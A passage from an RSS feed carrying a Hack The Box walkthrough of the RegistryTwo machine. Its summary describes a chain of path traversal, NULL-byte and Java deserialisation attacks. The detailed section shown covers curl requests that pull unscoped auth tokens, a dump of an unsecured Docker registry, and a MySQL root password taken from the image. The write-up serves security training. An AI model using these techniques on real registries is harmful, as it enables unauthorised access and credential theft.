href="https://ar0x.com/">ar0x.com</a>. Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=916615c5d1de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — RegisteryTwo]]></title>
            <link>https://ar0x.medium.com/htb-registerytwo-b8b1bb692d66?source=rss-347592490948------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8b1bb692d66</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[ar0x]]></dc:creator>
            <pubDate>Tue, 06 Feb 2024 12:47:22 GMT</pubDate>
            <atom:updated>2024-02-06T13:03:03.043Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB — <strong>RegistryTwo</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8woVG_YapU2_9PTg" /></figure><h3>Machine Summary</h3><p><strong>RegistryTwo</strong> proved to be an incredibly challenging box, consuming the efforts of our team for 2–3 days just to gain initial access. The first step is to extract a Docker image from the local registry server, using the ACME auth server for API authentication. This is followed by locating the Tomcat on the server and using /..;/ to grant access to a sensitive endpoint, allowing a role change to manager status. With this manager role, the web application can be reconfigured, allowing the RMI server host to be bypassed. A key step is to bypass validation monitoring if the RMI server host ends in .htb&#39;, which is easily achieved with%00&#39; (NULL byte). Now it is possible to redirect RMI server calls to your machine. Once the traffic is redirected, running the RMPListener module from ysoserial exploits the deserialisation vulnerability, resulting in a shell inside the Docker container as an application. Accessing the RMI server follows, using a custom RMI client to call server functions such as getFile&#39;. Digging into the.git-credentials&#39; reveals the SSH session and user flag. The privilege escalation path introduces an interesting twist: unbind the RMI server on the server and bind your server to port 9002 as the Rouge RMI server. This gives you control over the ClamAV scan path, which originally scans user uploads. By directing it to /root and initiating a ClamAV server as a rogue scan server, files in /root can be quarantined. For the wild privilege escalation, we unbound the RMI server and set up a rogue RMI server on port 9002. This allowed us to control the ClamAV scan path, which originally scanned user uploads. By pointing it to /root and starting a rogue ClamAV server, we were able to quarantine files in /rootand flag them as malicious using custom signatures.</p><h3>Recon</h3><pre>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 fa:b0:03:98:7e:60:c2:f3:11:82:27:a1:35:77:9f:d3 (RSA)<br>| 256 f2:59:06:dc:33:b0:9f:a3:5e:b7:63:ff:61:35:9d:c5 (ECDSA)<br>|_ 256 e3:ac:ab:ea:2b:d6:8e:f4:1f:b0:7b:05:0a:69:a5:37 (ED25519)<br>443/tcp open ssl/http nginx 1.14.0 (Ubuntu)<br>|_http-title: Did not follow redirect to https://www.webhosting.htb/<br>|_http-server-header: nginx/1.14.0 (Ubuntu)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: organizationName=free-hosting/stateOrProvinceName=Berlin/countryName=DE<br>| Not valid before: 2023–02–01T20:19:22<br>|_Not valid after: 2024–02–01T20:19:22<br>5000/tcp open ssl/http Docker Registry (API: 2.0)<br>|_http-title: Site doesn&#39;t have a title.<br>| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN<br>| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb<br>| Not valid before: 2023–03–26T21:32:06<br>|_Not valid after: 2024–03–25T21:32:06<br>5001/tcp open ssl/commplex-link?<br>| tls-alpn: <br>| h2<br>|_ http/1.1<br>|_ssl-date: TLS randomness does not represent time<br>| fingerprint-strings: <br>| FourOhFourRequest: <br>| HTTP/1.0 404 Not Found<br>| Content-Type: text/plain; charset=utf-8<br>| X-Content-Type-Options: nosniff<br>| Date: Fri, 01 Dec 2023 17:02:45 GMT<br>| Content-Length: 10<br>| found<br>| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: <br>| HTTP/1.1 400 Bad Request<br>| Content-Type: text/plain; charset=utf-8<br>| Connection: close<br>| Request<br>| GetRequest, HTTPOptions: <br>| HTTP/1.0 200 OK<br>| Content-Type: text/html; charset=utf-8<br>| Date: Fri, 01 Dec 2023 17:02:18 GMT<br>| Content-Length: 26<br>|_ &lt;h1&gt;Acme auth server&lt;/h1&gt;<br>| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN<br>| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb<br>| Not valid before: 2023–03–26T21:32:06<br>|_Not valid after: 2024–03–25T21:32:0<br></pre><p>Domains</p><pre>- **webhosting.htb**</pre><p>Port 22,443,5000,5001 are open. Lets check the website that is hosted on port 443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c-fu7s61uKmBY2KE" /></figure><p>So the site tells us that we can create hosts and host our website on their platform. And we have the registration option on this site, so let us create an account and check out the web application functionalities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*06eRhF52fkxhljHs" /></figure><p>I created an account, logged in, and created a new domain in the Domainsection of the website.</p><p>I configured out that this web app is written in Java.</p><p>Clicking on open redirected me to https://www.static-eae2644f16ca.webhosting.htb/, the eae2644f16ca was the random domain name the web application generated for me. This was very interesting, so I added this hostname to the /etc/hosts file to see if I could really get the contents of index.html.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-qJ-TLsNAYdb5rRE" /></figure><p>Cool, we can actually access a custom website as a subdomain that we are now pentesting.</p><p>I was pretty stuck at this point, so I just started checking other ports because we still have port 5000 and 5001.</p><p>5000 seems to be the Docker registration service. 5001 is the ACME auth server, I don’t really know what that is.</p><pre>What is ACME ?</pre><pre>The ACME server runs at a certification authority and responds to client requests, performing the requested actions if the client is authorized. An ACME client authenticates to the server by means of an “account key pair”. The client uses the private key of this key pair to sign all messages sent to the server.</pre><p>So this is the certification authority that will be used for websites that we create on the web application (generated subdomains).</p><p>I guess the port 5001 is not so important, but actually the port 5000 dose not sound that bad, when this port is actually the docker registry server it might be quit interesting.</p><p>Lets take a look at it</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ curl &#39;https://www.webhosting.htb:5000/v2&#39; -k -I<br>HTTP/2 301 <br>content-type: text/html; charset=utf-8<br>docker-distribution-api-version: registry/2.0<br>location: /v2/<br>date: Fri, 01 Dec 2023 18:15:32 GMT</pre><p>This is proof that we are dealing with a legitimate custom docker registry server.</p><pre>Docker registry is like a central storage location for Docker images. It allows developers to share, distribute, and manage containerized applications easily. Public registries like Docker Hub are available for anyone to use, while private registries provide a secure way for organizations to manage their images within their own infrastructure.</pre><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ curl &#39;https://www.webhosting.htb:5000/v2/_catalog&#39; -k    <br>{&quot;errors&quot;:[{&quot;code&quot;:&quot;UNAUTHORIZED&quot;,&quot;message&quot;:&quot;authentication required&quot;,&quot;detail&quot;:[{&quot;Type&quot;:&quot;registry&quot;,&quot;Class&quot;:&quot;&quot;,&quot;Name&quot;:&quot;catalog&quot;,&quot;Action&quot;:&quot;*&quot;}]}]}</pre><p>After some research, I found a v2 API endpoint _catalog that gave me the above result. Now we have the UNAUTHORIZED error.</p><p>If we can find a way to authenticate ourselves against this docker hub API, we can actually dump the docker container images/data.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ curl &#39;https://www.webhosting.htb:5000/v2/_catalog&#39; -k -I                                            <br>HTTP/2 401 <br>content-type: application/json; charset=utf-8<br>docker-distribution-api-version: registry/2.0<br>www-authenticate: Bearer realm=&quot;https://webhosting.htb:5001/auth&quot;,service=&quot;Docker registry&quot;,scope=&quot;registry:catalog:*&quot;<br>x-content-type-options: nosniff<br>content-length: 145<br>date: Fri, 01 Dec 2023 18:38:41 GMT</pre><h4>Dumping Docker Registry</h4><p>Obtain a Token to enumerate repositories</p><p>Looking at the response header we see the www-authenticate server and the value of this header is quite interesting. Bearer realm=&quot;https://webhosting.htb:5001/auth&quot;,service=&quot;Docker registry&quot;,scope=&quot;registry:catalog:*&quot; the 5001 was the ACME auth server, so now we can actually request a JWT token from this server and use that to authenticate ourselves against the Docker HUB API.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ curl -s &#39;https://webhosting.htb:5001/auth&#39; -k | jq <br>{<br>  &quot;access_token&quot;: &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiIiwiZXhwIjoxNzAxNDU3NTQyLCJuYmYiOjE3MDE0NTY2MzIsImlhdCI6MTcwMTQ1NjY0MiwianRpIjoiNDg5MTU0NDk3ODI1ODU2OTY3NSIsImFjY2VzcyI6W119.A5m5kywuVi6D24ZediRUtUaWZYPgiUnOyvre4nQX4nNDSg-cvLlzoWfZfNbRWDmYZorgHmW3_mWRuBsCRT_EBv9amj6__voi_TXBMPXtrH3aH8OC0boGR0OJUsOzKOOqMt_2grLiXQh6U1qRNd8s9KUaC5oiuEH7jTiAfKXwMt_RcNtwJgTpir7GZc-0bDxJMYadsT9R7XP4aYnh29ZC3vlweGsAMK8LuKl48N38udQWCkxMYveFP7HEVPETYm7Co9tOtW-RpR2DuZq_362NuMa7l3J2HzDeN4cbqXsu8vb_fSahi0iBwiuVLYTTu1R1aWJn86NQ19AYZwf168H84Q&quot;,<br>  &quot;token&quot;: &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiIiwiZXhwIjoxNzAxNDU3NTQyLCJuYmYiOjE3MDE0NTY2MzIsImlhdCI6MTcwMTQ1NjY0MiwianRpIjoiNDg5MTU0NDk3ODI1ODU2OTY3NSIsImFjY2VzcyI6W119.A5m5kywuVi6D24ZediRUtUaWZYPgiUnOyvre4nQX4nNDSg-cvLlzoWfZfNbRWDmYZorgHmW3_mWRuBsCRT_EBv9amj6__voi_TXBMPXtrH3aH8OC0boGR0OJUsOzKOOqMt_2grLiXQh6U1qRNd8s9KUaC5oiuEH7jTiAfKXwMt_RcNtwJgTpir7GZc-0bDxJMYadsT9R7XP4aYnh29ZC3vlweGsAMK8LuKl48N38udQWCkxMYveFP7HEVPETYm7Co9tOtW-RpR2DuZq_362NuMa7l3J2HzDeN4cbqXsu8vb_fSahi0iBwiuVLYTTu1R1aWJn86NQ19AYZwf168H84Q&quot;<br>}</pre><p>So I just sent a GET request to this endpoint, and I got an access token and a token. So now we can test to see if actuality are able to authenticate us with this token against the Docker Hub API.</p><p>But im sure this won’t work because we didn’t specify our scope, so this should actually work, but lets see.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ curl https://www.webhosting.htb:5000/v2/_catalog -k -H &quot;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiIiwiZXhwIjoxNzAxNDU3NTQyLCJuYmYiOjE3MDE0NTY2MzIsImlhdCI6MTcwMTQ1NjY0MiwianRpIjoiNDg5MTU0NDk3ODI1ODU2OTY3NSIsImFjY2VzcyI6W119.A5m5kywuVi6D24ZediRUtUaWZYPgiUnOyvre4nQX4nNDSg-cvLlzoWfZfNbRWDmYZorgHmW3_mWRuBsCRT_EBv9amj6__voi_TXBMPXtrH3aH8OC0boGR0OJUsOzKOOqMt_2grLiXQh6U1qRNd8s9KUaC5oiuEH7jTiAfKXwMt_RcNtwJgTpir7GZc-0bDxJMYadsT9R7XP4aYnh29ZC3vlweGsAMK8LuKl48N38udQWCkxMYveFP7HEVPETYm7Co9tOtW-RpR2DuZq_362NuMa7l3J2HzDeN4cbqXsu8vb_fSahi0iBwiuVLYTTu1R1aWJn86NQ19AYZwf168H84Q&quot; -k<br>{&quot;errors&quot;:[{&quot;code&quot;:&quot;UNAUTHORIZED&quot;,&quot;message&quot;:&quot;authentication required&quot;,&quot;detail&quot;:[{&quot;Type&quot;:&quot;registry&quot;,&quot;Class&quot;:&quot;&quot;,&quot;Name&quot;:&quot;catalog&quot;,&quot;Action&quot;:&quot;*&quot;}]}]}</pre><p>Yes, as expected, we couldn’t authenticate, and I said the reason why the authentication request failed.</p><p>But now we fix that, now we request a new token for the specified scope service=Docker%20registry&amp;scope=registry:catalog:*, and now we try again.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ curl -s &#39;https://webhosting.htb:5001/auth?service=Docker%20registry&amp;scope=registry:catalog:*&#39; -k | jq <br>{<br>  &quot;access_token&quot;: &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU3NjY4LCJuYmYiOjE3MDE0NTY3NTgsImlhdCI6MTcwMTQ1Njc2OCwianRpIjoiNjI4ODEwMjAzNDYyNjE0MzE5MiIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.iE6oslCXNYTqbjaiYWYtBI4mItDMqTd7dtWN32-rhb7_syVLReuSIUek3fzqXG7s8j6qArOMLnCBvDsz7rqGwETzv1kHCq1th_sXXBtqFneinwawTdnNNdIIzBBuYz_35YYno-3NhtAmfoiZ5cGKp-0SV4VbUxYeJJaRY1eJyF80W8Iew4oYhGSwKC5QmcJYmpNeOg2fnlSU_OITjK0jFdsUFBto8gObWn2TnMMVWigMtdYXFACiLPdLWtCeJ9La1on9Ruyhntmk0k2HOnmxmi59BbpJyNflRwFWpTSOLWQa3pC0w9hT_mlVY6UgzqgObt5r-JwpXhm_B5Gbx6QKhg&quot;,<br>  &quot;token&quot;: &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU3NjY4LCJuYmYiOjE3MDE0NTY3NTgsImlhdCI6MTcwMTQ1Njc2OCwianRpIjoiNjI4ODEwMjAzNDYyNjE0MzE5MiIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.iE6oslCXNYTqbjaiYWYtBI4mItDMqTd7dtWN32-rhb7_syVLReuSIUek3fzqXG7s8j6qArOMLnCBvDsz7rqGwETzv1kHCq1th_sXXBtqFneinwawTdnNNdIIzBBuYz_35YYno-3NhtAmfoiZ5cGKp-0SV4VbUxYeJJaRY1eJyF80W8Iew4oYhGSwKC5QmcJYmpNeOg2fnlSU_OITjK0jFdsUFBto8gObWn2TnMMVWigMtdYXFACiLPdLWtCeJ9La1on9Ruyhntmk0k2HOnmxmi59BbpJyNflRwFWpTSOLWQa3pC0w9hT_mlVY6UgzqgObt5r-JwpXhm_B5Gbx6QKhg&quot;<br>}</pre><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ curl https://www.webhosting.htb:5000/v2/_catalog -k -H &quot;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU3NjY4LCJuYmYiOjE3MDE0NTY3NTgsImlhdCI6MTcwMTQ1Njc2OCwianRpIjoiNjI4ODEwMjAzNDYyNjE0MzE5MiIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.iE6oslCXNYTqbjaiYWYtBI4mItDMqTd7dtWN32-rhb7_syVLReuSIUek3fzqXG7s8j6qArOMLnCBvDsz7rqGwETzv1kHCq1th_sXXBtqFneinwawTdnNNdIIzBBuYz_35YYno-3NhtAmfoiZ5cGKp-0SV4VbUxYeJJaRY1eJyF80W8Iew4oYhGSwKC5QmcJYmpNeOg2fnlSU_OITjK0jFdsUFBto8gObWn2TnMMVWigMtdYXFACiLPdLWtCeJ9La1on9Ruyhntmk0k2HOnmxmi59BbpJyNflRwFWpTSOLWQa3pC0w9hT_mlVY6UgzqgObt5r-JwpXhm_B5Gbx6QKhg&quot; -</pre><pre>{&quot;repositories&quot;:[&quot;hosting-app&quot;]}</pre><p>Kaboom, we have the repo name, now we can dump this image from the docker registry.</p><p>There are a lot of tools out there that you can use, and you can find some examples on <a href="https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry">HackTricks</a>.</p><p>So I will use <a href="https://github.com/Syzik/DockerRegistryGrabber">DockerRegistryGrabber</a> for now.</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/DockerRegistryGrabber]<br>└─$ python3 drg.py -A &#39;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU4NzU1LCJuYmYiOjE3MDE0NTc4NDUsImlhdCI6MTcwMTQ1Nzg1NSwianRpIjoiODg2MTczMjM0MTkzNTE0Nzc4OSIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.Vk1nXPHHAXmkNGzCpbIG-a5ui-jx52O-oTF6TRgP4hGp14oWBfvN0Dwagxn2IXLiXk9jhoZGclbbutNyvJQn0pV9hWCLrT3PCD6iyHiboyMwohUC_orImG1HghUhqxU-clpfthT-DitUMvNcL0g7aye1YnshR1e9a-DEZIEkOrlLsQFyzik3s4c3IPiHyZIcO49TPlJ_B27Wyuq85znCx-q8MoSEAlbxcv_GWD1R9iY756SICD7w0S9rdw6880L1UtzcPvKlQSIPqgasqptXss4NReDqJc9Ey4ZfufIqaMQV7LyaczPYCxCMuSMbzon0ID6Se2lF_eUS62uPQtE6oQ&#39; --list https://www.webhosting.htb<br>[+] hosting-app</pre><p>It worked perfectly, the tool managed to list the repos that are on this docker registry.</p><p>Obtain a Token to pull hosting-app</p><p>Now we try to dump this image.</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/DockerRegistryGrabber]<br>└─$ python3 drg.py -A &#39;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU4NzU1LCJuYmYiOjE3MDE0NTc4NDUsImlhdCI6MTcwMTQ1Nzg1NSwianRpIjoiODg2MTczMjM0MTkzNTE0Nzc4OSIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.Vk1nXPHHAXmkNGzCpbIG-a5ui-jx52O-oTF6TRgP4hGp14oWBfvN0Dwagxn2IXLiXk9jhoZGclbbutNyvJQn0pV9hWCLrT3PCD6iyHiboyMwohUC_orImG1HghUhqxU-clpfthT-DitUMvNcL0g7aye1YnshR1e9a-DEZIEkOrlLsQFyzik3s4c3IPiHyZIcO49TPlJ_B27Wyuq85znCx-q8MoSEAlbxcv_GWD1R9iY756SICD7w0S9rdw6880L1UtzcPvKlQSIPqgasqptXss4NReDqJc9Ey4ZfufIqaMQV7LyaczPYCxCMuSMbzon0ID6Se2lF_eUS62uPQtE6oQ&#39; --dump hosting-app https://www.webhosting.htb<br>Http Error: 401 Client Error: Unauthorized for url: https://www.webhosting.htb:5000/v2/hosting-app/tags/list</pre><p>UPS, this time we got an error and the reason is exactly the same as the first failed request. The reason is clear, we should be requesting a new token for the new scope hosting-app/tags/list that we need to access</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/DockerRegistryGrabber]<br>└─$ curl -s &#39;https://webhosting.htb:5001/auth?service=Docker%20registry&amp;scope=repository:hosting-app:pull&#39; -k | jq  <br>{<br>  &quot;access_token&quot;: &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU5MjQ3LCJuYmYiOjE3MDE0NTgzMzcsImlhdCI6MTcwMTQ1ODM0NywianRpIjoiODY1ODIxNTY5Nzk5NjU3OTUwOCIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.WFiwFzi_gjCq_nwQB7EJeYE30baPFmWRf-mGGxCM6Dai3ST4iV6tPOmGPB0HCf_N8mmvwy4dr4OjkUttQUFwSY83N75FQg40jrrhh_fFUpiLDIEewkOwxDRMeGA4M3hnVeHskAlfNLtquDq8mWPhpv_FtR9AoeStvjLhoc6Ft-6FUJzZKbTFbBgLKmff-Xb2fjWcpsNBMl_qOIwasIfp8JbBZWpk2FYYa2m1y9vq7ez6MQkWS4KL9lirhXRO1JTZBTVsF3NBcQCk9jhhdL2dJuD5vY1ggEcmD_0cIO9Q8uXIFJrG_WtSj6vy10GOnABPRGCFV0MNLfL8gyNzQD4eAA&quot;,<br>  &quot;token&quot;: &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU5MjQ3LCJuYmYiOjE3MDE0NTgzMzcsImlhdCI6MTcwMTQ1ODM0NywianRpIjoiODY1ODIxNTY5Nzk5NjU3OTUwOCIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.WFiwFzi_gjCq_nwQB7EJeYE30baPFmWRf-mGGxCM6Dai3ST4iV6tPOmGPB0HCf_N8mmvwy4dr4OjkUttQUFwSY83N75FQg40jrrhh_fFUpiLDIEewkOwxDRMeGA4M3hnVeHskAlfNLtquDq8mWPhpv_FtR9AoeStvjLhoc6Ft-6FUJzZKbTFbBgLKmff-Xb2fjWcpsNBMl_qOIwasIfp8JbBZWpk2FYYa2m1y9vq7ez6MQkWS4KL9lirhXRO1JTZBTVsF3NBcQCk9jhhdL2dJuD5vY1ggEcmD_0cIO9Q8uXIFJrG_WtSj6vy10GOnABPRGCFV0MNLfL8gyNzQD4eAA&quot;<br>}</pre><p>So I found the scope we need to download the image on <a href="https://stackoverflow.com/questions/71409458/how-to-download-docker-image-using-http-api-using-docker-hub-credentials">StackOverflow</a> under the section Get a token (specific to Docker Hub, each registry may have different auth methods and servers):.</p><p>So now we can actually dump the blob with this token. Lets do it.</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/DockerRegistryGrabber]<br>└─$ python3 drg.py -A &#39;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNzAxNDU5MjQ3LCJuYmYiOjE3MDE0NTgzMzcsImlhdCI6MTcwMTQ1ODM0NywianRpIjoiODY1ODIxNTY5Nzk5NjU3OTUwOCIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.WFiwFzi_gjCq_nwQB7EJeYE30baPFmWRf-mGGxCM6Dai3ST4iV6tPOmGPB0HCf_N8mmvwy4dr4OjkUttQUFwSY83N75FQg40jrrhh_fFUpiLDIEewkOwxDRMeGA4M3hnVeHskAlfNLtquDq8mWPhpv_FtR9AoeStvjLhoc6Ft-6FUJzZKbTFbBgLKmff-Xb2fjWcpsNBMl_qOIwasIfp8JbBZWpk2FYYa2m1y9vq7ez6MQkWS4KL9lirhXRO1JTZBTVsF3NBcQCk9jhhdL2dJuD5vY1ggEcmD_0cIO9Q8uXIFJrG_WtSj6vy10GOnABPRGCFV0MNLfL8gyNzQD4eAA&#39; --dump hosting-app https://www.webhosting.htb<br>[+] BlobSum found 36<br>[+] Dumping hosting-app<br>    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b<br>    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b<br>    ....<br>    [+] Downloading : ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a4113</pre><h4>Enumerating dumped filesystem</h4><p>Great, now we have a look at the image and see what we can extract from it.</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/hosting-app]<br>└─$ ls<br>bin  blobs  dev  etc  home  lib  media  mnt  proc  root  run  sbin  srv  sys  tmp  usr  var</pre><p>We have the docker image file system, let us grep for password, maybe we will find something.</p><p>I found some interesting stuff and a MySQL password in `/etc/hosting.ini&#39;.</p><pre>etc/hosting.ini:mysql.password=O8lBvQUBPU4CMbvJmYqY</pre><p>Content of hosting.ini</p><pre>#Mon Jan 30 21:05:01 GMT 2023<br>mysql.password=O8lBvQUBPU4CMbvJmYqY<br>rmi.host=registry.webhosting.htb<br>mysql.user=root<br>mysql.port=3306<br>mysql.host=localhost<br>domains.start-template=&lt;body&gt;\r\n&lt;h1&gt;It works\!&lt;/h1&gt;\r\n&lt;/body&gt;<br>domains.max=5<br>rmi.port=9002</pre><p>Additionally i saw some logs that contain Tomcat, lets see what tomcat is doing in this web application.</p><p>Yea i found it, we have tomcat instance and folder in placed in usr/local/tomcat.</p><pre>┌──(ar0x㉿kali)-[~/…/RegistryTwo/hosting-app/usr/local]<br>└─$ ls<br>bin  lib  share  tomcat</pre><p>So after a bit of searching in the tomcat files I found the main web application that we used earlier to serve our custom website. In tomcat/webapps you will find a hosting.war file and if you unzip this file you will get many classes and I just decompiled the WEB-INF/classes/com/htb/hosting/model/User.class to make sure that we are really dealing with the main application.</p><pre>// Source code is decompiled from a .class file using FernFlower decompiler.<br>package com.htb.hosting.model;<br><br>import java.io.Serializable;<br>import java.util.List;<br>import java.util.UUID;<br>import javax.persistence.Column;<br>import javax.persistence.Entity;<br>import javax.persistence.FetchType;<br>import javax.persistence.GeneratedValue;<br>import javax.persistence.Id;<br>import javax.persistence.OneToMany;<br>import javax.persistence.Table;<br>import org.hibernate.annotations.GenericGenerator;<br><br>@Entity<br>@Table(<br>   name = &quot;users&quot;<br>)<br>public class User implements Serializable {<br>   private static final long serialVersionUID = -7780857363453462165L;<br>   @Id<br>   